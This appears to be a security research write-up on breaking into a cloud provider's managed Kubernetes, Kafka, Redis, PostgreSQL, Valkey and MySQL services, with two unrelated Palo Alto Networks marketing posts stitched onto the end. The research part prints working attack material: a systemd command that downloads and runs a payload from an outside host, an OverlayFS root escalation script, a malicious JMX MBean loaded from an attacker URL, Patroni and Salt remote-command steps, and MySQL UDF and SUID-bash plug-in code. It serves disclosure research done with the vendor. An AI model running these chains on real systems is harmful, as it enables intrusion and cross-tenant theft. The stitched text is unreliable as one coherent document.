A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Gaining root privileges opened up several interesting attack vectors:

1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

• JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
• JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
• ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

1. Create a standard MLet loader inside the Kafka JVM.
2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

This storage holds backups not only of the current instance but also of all other databases in the cloud.

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

For the eighth consecutive time, Palo Alto Networks is recognized as a Leader in the 2026 Gartner^® Magic Quadrant for Privileged Access Management. Once again, it is positioned furthest along in Completeness of Vision and has been positioned so in every Magic Quadrant published for this category.

Read the 2026 Gartner^® Magic Quadrant for Privileged Access Management.

Identity is not a siloed risk. As an increasingly attractive target for threat actors, it must be understood and secured across the entire attack surface. For our customers, the benefit is clear: as part of Palo Alto Networks, Idira helps you adopt AI innovation at speed while retaining control over privileged access.

Why Vision Matters Most Right Now

The 2026 Gartner Magic Quadrant evaluates providers across their Ability to Execute and Completeness of Vision. We feel that being positioned furthest in Completeness of Vision matters most in moments of technology change like this one. Idira is built for an environment where:

• Identity is the attack surface, and frontier AI lets attackers move faster, increasingly logging in rather than breaking in.
• Identities have exploded, and human and machine privilege alike must be controlled.
• The pace of change has never been higher, as organizations race to adopt AI and modernize infrastructure without losing control.

Customers need a partner that can execute on an innovative vision as the threat and technology landscape evolves. With the scale of Palo Alto Networks behind us, we are focused on securing every identity and every moment of privilege in the AI enterprise.

The AI Era Demands More From PAM

We are in a new era, where identity and access have fundamentally changed. Machine identities now outnumber humans 109 to 1, AI agents (which require access to enterprise systems to do useful work) are entering the workforce, and attackers have noticed. That access must be governed alongside the human and machine identities already protected. Increasingly, though, attackers log in rather than break in, and PAM must evolve to stay ahead of these challenges. PAM must now extend beyond vaulted administrator credentials to discover, control, and govern privilege across the enterprise.

Idira’s Modern PAM platform is enabling PAM to meet the demands of the AI era; it combines vaulted access and zero standing privileges (ZSP) with secrets management, workload security, and identity governance. We are bringing ZSP to every modern target, including cloud, apps, and Kubernetes. And access challenges go beyond humans, so Idira does as well. To secure non-human access, Idira added native SPIFFE/SVID support to deliver short-lived cryptographic identities to workloads and AI agents. Our ability to deliver and innovate on our vision enables Idira to deliver purpose-built, end-to-end protection at scale for the modern AI enterprise.

Modernizing PAM: Where We Deliver

Making modern PAM easier to adopt is central to our approach. 

While some of the largest organizations continue to trust Idira for our proven traditional PAM leadership, they now also rely on us to guide their modern PAM transformation initiatives.

Data-Driven Innovation: We believe that our Transformation Decision Engine, which uses customer environment data to quantify the value of PAM modernization, combined with our years of proven experience guiding both the implementation and modernization of PAM programs across our expansive customer base, demonstrates our ability to help customers through any stage of their PAM journey with an informed, data-driven approach. 

Customer Experience: Idira guides cross-functional security teams through complex operational shifts, from standing access to ZSP, supported by the Idira Blueprint, hands-on training, and an active peer community. 

Scale and Reach: Idira customers already have a partner with global reach, and joining Palo Alto Networks extends it further. Our security platform sees identity risk across the whole attack surface, so a stolen or abused privilege becomes a signal your defenses act on in the moment, backed by the investment and expertise of the industry's largest cybersecurity company.

Ready for the Demands of the AI Enterprise 

Eight reports, eight times furthest in vision. I'm grateful to the customers whose trust and expertise shaped every one of them. This is also a first, as it’s the first report to carry the Palo Alto Networks name. Since Idira joined forces with Palo Alto Networks, our PAM expertise and platform now sit inside the industry's leading cybersecurity company, where privileged access connects to real-time threat detection and response, AI security, and Unit 42 threat intelligence.

The next chapter of privileged access is being written now, by attackers with frontier AI models and by enterprises deciding how fast to move. We intend to stay furthest ahead of both.

Thank you to our customers and community for your trust, and for the partnership that helps shape our innovation.

 

---

Gartner, Magic Quadrant for Privileged Access Management, Paul Mezzera, Shubham Gera, Tarun Rohilla, Scott Brinker, 21 October 2026.

Gartner and Magic Quadrant are trademarks of Gartner, Inc. and/or its affiliates.

Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.

 

---

What is the Gartner® Magic Quadrant?

“Magic Quadrant reports are a culmination of rigorous, fact-based research in specific markets, providing a wide-angle view of the relative positions of providers in markets where growth is high and provider differentiation is distinct. Providers are positioned into four quadrants: Leaders, Challengers, Visionaries and Niche Players. The research enables you to get the most from market analysis in alignment with your unique business and technology needs."

How can PAM help secure AI agents in the enterprise?

PAM can help secure AI agents by controlling their access to systems and data, protecting the secrets they use, and recording their access and actions. Capabilities vary by solution; controls should limit each agent’s permissions and how long those permissions remain active. Learn more about Idira Agentic Identity Security.

How does zero standing privileges differ from vaulted access?

Vaulted access protects stored privileged credentials. ZSP removes standing privileged access by granting permissions for a specific task and revoking them when the task or authorized period ends. Modern PAM can combine both approaches to support different environments and access needs.

The post Palo Alto Networks Named a Leader in the 2026 Gartner® Magic Quadrant™ for Privileged Access Management appeared first on Palo Alto Networks Blog.

Palo Alto Networks announces that Unit 42® Continuous Frontier AI Defense and Prisma AIRS are now on the newly launched OpenAI Marketplace, making them directly available to OpenAI’s enterprise customers. Threat actors are deploying artificial intelligence to find and exploit vulnerabilities at unprecedented speed, compressing breach cycles by almost 97%—from weeks down to mere hours. Human-speed defense can no longer keep pace with adversaries executing automated, continuous attacks.

AI Investments: The OpenAI Marketplace Advantage

For enterprise organizations holding OpenAI spend commitments, this milestone offers a compelling 2-for-1 financial and strategic advantage. Security teams can now deploy machine-speed, proactive defense while retiring their pre-committed OpenAI spend.

Palo Alto Networks offers two flagship solutions available for procurement through the OpenAI Marketplace.

• Unit 42® Continuous Frontier AI Defense: An always-on, expert-led agentic offensive security service that uses defender-grade models to discover, validate, and accelerate the remediation of exposures across applications and network assets before weaponization.
• Prisma® AIRS: A comprehensive AI security platform designed to provide complete discovery, risk assessment, runtime protection, identity and data governance, and observability for AI applications, agents, models, and artifacts across enterprise cloud platforms, SaaS environments, and endpoints.

Machine-Speed Defense with Unit 42 Continuous Frontier AI Defense

Unit 42 Continuous Frontier AI Defense is an expert-led, agentic offensive security service engineered to identify, validate, and remediate enterprise exposures as an organization’s environment changes.

This always-on, agentic service combines our offensive security experts with our proprietary multi-model harness, which uses defender-grade frontier models to discover vulnerabilities, validate real-world exploitability, and accelerate remediation across applications, identities, cloud infrastructure, and network assets as an organization’s environment changes. At the core of this capability is our proprietary multi-model software harness that dynamically routes security tasks to the optimal AI model, maximizing efficacy and coverage while managing the cost of frontier AI at scale.

